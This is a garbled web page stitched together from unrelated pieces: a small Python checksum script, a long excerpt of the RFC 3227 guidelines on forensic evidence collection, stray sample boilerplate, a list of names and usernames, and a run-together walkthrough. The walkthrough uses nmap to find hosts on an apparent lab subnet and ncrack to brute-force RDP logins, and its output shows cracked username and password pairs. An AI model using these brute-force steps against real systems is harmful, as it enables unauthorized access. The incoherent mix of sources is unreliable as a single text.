IT_Solution for Learning

# This Tool for checking file signature in MD5 and SHA1
# Thanks: mywisdom, whitehat, patriot, zee, flyff666
# Visit Us in http://codewall-security
# My Blog http://devilz-kiddies.blogspot.com
# My Website http://notoshuri.com
# ich sehr liebe, sehr brauche, sehr vermisse dich honig

import sys
import hashlib

print '''
    ---------------------------------------------#
    # Simple MD5 and SHA1 CheckSum               #
    # Author Kiddies A.k.A peneter A.k.A Hadrian #
    # Copyright 2012                             #
    ----------------------------------------------
    '''

try:
    file = sys.argv[1]
    doc = open(file,'rb')
    data = doc.read()
    print 'MD5 CheckSum'
    print hashlib.md5(data).hexdigest()
    print 'SHA1 CheckSum'
    print hashlib.sha1(data).hexdigest()
except:

    print >> sys.stderr, "SCheckSum.py < file >"

Status of this Memo

   This document specifies an Internet Best Current Practices for the
   Internet Community, and requests discussion and suggestions for
   improvements.  Distribution of this memo is unlimited.

Copyright Notice

   Copyright (C) The Internet Society (2002).  All Rights Reserved.

Abstract

   A "security incident" as defined in the "Internet Security Glossary",
   RFC 2828, is a security-relevant system event in which the system's
   security policy is disobeyed or otherwise breached.  The purpose of
   this document is to provide System Administrators with guidelines on
   the collection and archiving of evidence relevant to such a security
   incident.

   If evidence collection is done correctly, it is much more useful in
   apprehending the attacker, and stands a much greater chance of being
   admissible in the event of a prosecution.

Table of Contents

   1 Introduction.................................................... 2
     1.1 Conventions Used in this Document........................... 2
   2 Guiding Principles during Evidence Collection................... 3
     2.1 Order of Volatility......................................... 4
     2.2 Things to avoid............................................. 4
     2.3 Privacy Considerations...................................... 5
     2.4 Legal Considerations........................................ 5
   3 The Collection Procedure........................................ 6
     3.1 Transparency................................................ 6
     3.2 Collection Steps............................................ 6
   4 The Archiving Procedure......................................... 7
     4.1 Chain of Custody............................................ 7
     4.2 The Archive................................................. 7
   5 Tools you'll need............................................... 7

   6 References...................................................... 8
   7 Acknowledgements................................................ 8
   8 Security Considerations......................................... 8
   9 Authors' Addresses.............................................. 9
   10 Full Copyright Statement.......................................10

1 Introduction

   A "security incident" as defined in [RFC2828] is a security-relevant
   system event in which the system's security policy is disobeyed or
   otherwise breached.  The purpose of this document is to provide
   System Administrators with guidelines on the collection and archiving
   of evidence relevant to such a security incident.  It's not our
   intention to insist that all System Administrators rigidly follow
   these guidelines every time they have a security incident.  Rather,
   we want to provide guidance on what they should do if they elect to
   collect and protect information relating to an intrusion.

   Such collection represents a considerable effort on the part of the
   System Administrator.  Great progress has been made in recent years
   to speed up the re-installation of the Operating System and to
   facilitate the reversion of a system to a 'known' state, thus making
   the 'easy option' even more attractive.  Meanwhile little has been
   done to provide easy ways of archiving evidence (the difficult
   option).  Further, increasing disk and memory capacities and the more
   widespread use of stealth and cover-your-tracks tactics by attackers
   have exacerbated the problem.

   If evidence collection is done correctly, it is much more useful in
   apprehending the attacker, and stands a much greater chance of being
   admissible in the event of a prosecution.

   You should use these guidelines as a basis for formulating your
   site's evidence collection procedures, and should incorporate your
   site's procedures into your Incident Handling documentation.  The
   guidelines in this document may not be appropriate under all
   jurisdictions.  Once you've formulated your site's evidence
   collection procedures, you should have law enforcement for your
   jurisdiction confirm that they're adequate.

1.1 Conventions Used in this Document

   The key words "REQUIRED", "MUST", "MUST NOT", "SHOULD", "SHOULD NOT",
   and "MAY" in this document are to be interpreted as described in "Key
   words for use in RFCs to Indicate Requirement Levels" [RFC2119].

2 Guiding Principles during Evidence Collection

      -  Adhere to your site's Security Policy and engage the
         appropriate Incident Handling and Law Enforcement personnel.

      -  Capture as accurate a picture of the system as possible.

      -  Keep detailed notes.  These should include dates and times.  If
         possible generate an automatic transcript.  (e.g., On Unix
         systems the 'script' program can be used, however the output
         file it generates should not be to media that is part of the
         evidence).  Notes and print-outs should be signed and dated.

      -  Note the difference between the system clock and UTC.  For each
         timestamp provided, indicate whether UTC or local time is used.

      -  Be prepared to testify (perhaps years later) outlining all
         actions you took and at what times.  Detailed notes will be
         vital.

      -  Minimise changes to the data as you are collecting it.  This is
         not limited to content changes; you should avoid updating file
         or directory access times.

      -  Remove external avenues for change.

      -  When confronted with a choice between collection and analysis
         you should do collection first and analysis later.

      -  Though it hardly needs stating, your procedures should be
         implementable.  As with any aspect of an incident response
         policy, procedures should be tested to ensure feasibility,
         particularly in a crisis.  If possible procedures should be
         automated for reasons of speed and accuracy.  Be methodical.

      -  For each device, a methodical approach should be adopted which
         follows the guidelines laid down in your collection procedure.
         Speed will often be critical so where there are a number of
         devices requiring examination it may be appropriate to spread
         the work among your team to collect the evidence in parallel.
         However on a single given system collection should be done step
         by step.

      -  Proceed from the volatile to the less volatile (see the Order
         of Volatility below).

      -  You should make a bit-level copy of the system's media.  If you
         wish to do forensics analysis you should make a bit-level copy
         of your evidence copy for that purpose, as your analysis will
         almost certainly alter file access times.  Avoid doing
         forensics on the evidence copy.

2.1 Order of Volatility

   When collecting evidence you should proceed from the volatile to the
   less volatile.  Here is an example order of volatility for a typical
   system.

      -  registers, cache

      -  routing table, arp cache, process table, kernel statistics,
         memory

      -  temporary file systems

      -  disk

      -  remote logging and monitoring data that is relevant to the
         system in question

      -  physical configuration, network topology

      -  archival media

2.2 Things to avoid

   It's all too easy to destroy evidence, however inadvertently.

      -  Don't shutdown until you've completed evidence collection.
         Much evidence may be lost and the attacker may have altered the
         startup/shutdown scripts/services to destroy evidence.

      -  Don't trust the programs on the system.  Run your evidence
         gathering programs from appropriately protected media (see
         below).

      -  Don't run programs that modify the access time of all files on
         the system (e.g., 'tar' or 'xcopy').

      -  When removing external avenues for change note that simply
         disconnecting or filtering from the network may trigger
         "deadman switches" that detect when they're off the net and
         wipe evidence.

2.3 Privacy Considerations

      -  Respect the privacy rules and guidelines of your company and
         your legal jurisdiction.  In particular, make sure no
         information collected along with the evidence you are searching
         for is available to anyone who would not normally have access
         to this information.  This includes access to log files (which
         may reveal patterns of user behaviour) as well as personal data
         files.

      -  Do not intrude on people's privacy without strong
         justification.  In particular, do not collect information from
         areas you do not normally have reason to access (such as
         personal file stores) unless you have sufficient indication
         that there is a real incident.

      -  Make sure you have the backing of your company's established
         procedures in taking the steps you do to collect evidence of an
         incident.

2.4 Legal Considerations

   Computer evidence needs to be

      -  Admissible:  It must conform to certain legal rules before it
         can be put before a court.

      -  Authentic:  It must be possible to positively tie evidentiary
         material to the incident.

      -  Complete:  It must tell the whole story and not just a
         particular perspective.

      -  Reliable:  There must be nothing about how the evidence was
         collected and subsequently handled that casts doubt about its
         authenticity and veracity.

      -  Believable:  It must be readily believable and understandable
         by a court.

3 The Collection Procedure

   Your collection procedures should be as detailed as possible.  As is
   the case with your overall Incident Handling procedures, they should
   be unambiguous, and should minimise the amount of decision-making
   needed during the collection process.

3.1 Transparency

   The methods used to collect evidence should be transparent and
   reproducible.  You should be prepared to reproduce precisely the
   methods you used, and have those methods tested by independent
   experts.

3.2 Collection Steps

      -  Where is the evidence?  List what systems were involved in the
         incident and from which evidence will be collected.

      -  Establish what is likely to be relevant and admissible.  When
         in doubt err on the side of collecting too much rather than not
         enough.

      -  For each system, obtain the relevant order of volatility.

      -  Remove external avenues for change.

      -  Following the order of volatility, collect the evidence with
         tools as discussed in Section 5.

      -  Record the extent of the system's clock drift.

      -  Question what else may be evidence as you work through the
         collection steps.

      -  Document each step.

      -  Don't forget the people involved.  Make notes of who was there
         and what were they doing, what they observed and how they
         reacted.

   Where feasible you should consider generating checksums and
   cryptographically signing the collected evidence, as this may make it
   easier to preserve a strong chain of evidence.  In doing so you must
   not alter the evidence.

4 The Archiving Procedure

   Evidence must be strictly secured.  In addition, the Chain of Custody
   needs to be clearly documented.

4.1 Chain of Custody

   You should be able to clearly describe how the evidence was found,
   how it was handled and everything that happened to it.

   The following need to be documented

      -  Where, when, and by whom was the evidence discovered and
         collected.

      -  Where, when and by whom was the evidence handled or examined.

      -  Who had custody of the evidence, during what period.  How was
         it stored.

      -  When the evidence changed custody, when and how did the
         transfer occur (include shipping numbers, etc.).

4.2 Where and how to Archive

   If possible commonly used media (rather than some obscure storage
   media) should be used for archiving.

   Access to evidence should be extremely restricted, and should be
   clearly documented.  It should be possible to detect unauthorised
   access.

5 Tools you'll need

   You should have the programs you need to do evidence collection and
   forensics on read-only media (e.g., a CD).  You should have prepared
   such a set of tools for each of the Operating Systems that you manage
   in advance of having to use it.

   Your set of tools should include the following:

      -  a program for examining processes (e.g., 'ps').

      -  programs for examining system state (e.g., 'showrev',
         'ifconfig', 'netstat', 'arp').

      -  a program for doing bit-to-bit copies (e.g., 'dd', 'SafeBack').

      -  programs for generating checksums and signatures (e.g.,
         'sha1sum', a checksum-enabled 'dd', 'SafeBack', 'pgp').

      -  programs for generating core images and for examining them
         (e.g., 'gcore', 'gdb').

      -  scripts to automate evidence collection (e.g., The Coroner's
         Toolkit [FAR1999]).

   The programs in your set of tools should be statically linked, and
   should not require the use of any libraries other than those on the
   read-only media.  Even then, since modern rootkits may be installed
   through loadable kernel modules, you should consider that your tools
   might not be giving you a full picture of the system.

   You should be prepared to testify to the authenticity and reliability
   of the tools that you use.

reference :http://www.faqs.org/rfcs/rfc3227.html 

Get the Source Code

Other Programs

Run the Sample

1. Unzip the samples archive to a directory on your machine.
2. Open a command prompt and change directories to the location you unzipped the sample in.
3. You can run the command python search.py > searchoutput.html to test this sample locally.

Core Technologies

• Python
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• Cascading Style Sheets
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Why Python

How It Works

jessie tagle julio feagins hugh duchene darmella martis lakisha mcquain ted restrepo kelly missildine

jtagle jfeagins hduchene dmartis lmcquain trestrepo kmissildine

wget http://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gz mkdir /usr/local/share/ncrack tar -xzf ncrack-0.4ALPHA.tar.gz cd ncrack-0.4ALPHA ./configure make checkinstall dpkg -i ncrack_0.4ALPHA-1_i386.deb [/pre] Information gathering Let’s find out what hosts in a network are up, and save them to a text list. The regular expression will parse and extract only the ip addresses from the scan. Nmap ping scan, go no further than determining if host is online

nmap -sP 192.168.56.0/24 | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' > 192.168.56.0.txt

nmap -F -iL 192.168.56.0.txt Starting Nmap 5.21 ( http://nmap.org ) at 2011-04-10 13:15 CEST Nmap scan report for 192.168.56.10 Host is up (0.0017s latency). Not shown: 91 closed ports PORT STATE SERVICE 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1028/tcp open unknown 3389/tcp open ms-term-serv MAC Address: 08:00:27:09:F5:22 (Cadmus Computer Systems) Nmap scan report for 192.168.56.101 Host is up (0.014s latency). Not shown: 96 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-term-serv MAC Address: 08:00:27:C1:5D:4E (Cadmus Computer Systems) Nmap done: 55 IP addresses (55 hosts up) scanned in 98.41 seconds

vim my.usr jtagle jfeagins hduchene trestrepo kmissildine

vim my.pwd somepassword passw0rd blahblah 12345678 iloveyou trustno1

ncrack -vv -U my.usr -P my.pwd 192.168.56.10:3389,CL=1 Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-10 17:24 CEST Discovered credentials on rdp://192.168.56.10:3389 'hduchene' 'passw0rd' rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon. Discovered credentials on rdp://192.168.56.10:3389 'jfeagins' 'blahblah' rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon. Discovered credentials on rdp://192.168.56.10:3389 'jtagle' '12345678' rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon. Discovered credentials on rdp://192.168.56.10:3389 'kmissildine' 'iloveyou' rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon. Discovered credentials on rdp://192.168.56.10:3389 'trestrepo' 'trustno1' rdp://192.168.56.10:3389 finished. Discovered credentials for rdp on 192.168.56.10 3389/tcp: 192.168.56.10 3389/tcp rdp: 'hduchene' 'passw0rd' 192.168.56.10 3389/tcp rdp: 'jfeagins' 'blahblah' 192.168.56.10 3389/tcp rdp: 'jtagle' '12345678' 192.168.56.10 3389/tcp rdp: 'kmissildine' 'iloveyou' 192.168.56.10 3389/tcp rdp: 'trestrepo' 'trustno1' Ncrack done: 1 service scanned in 98.00 seconds. Probes sent: 51 | timed-out: 0 | prematurely-closed: 0 Ncrack finished.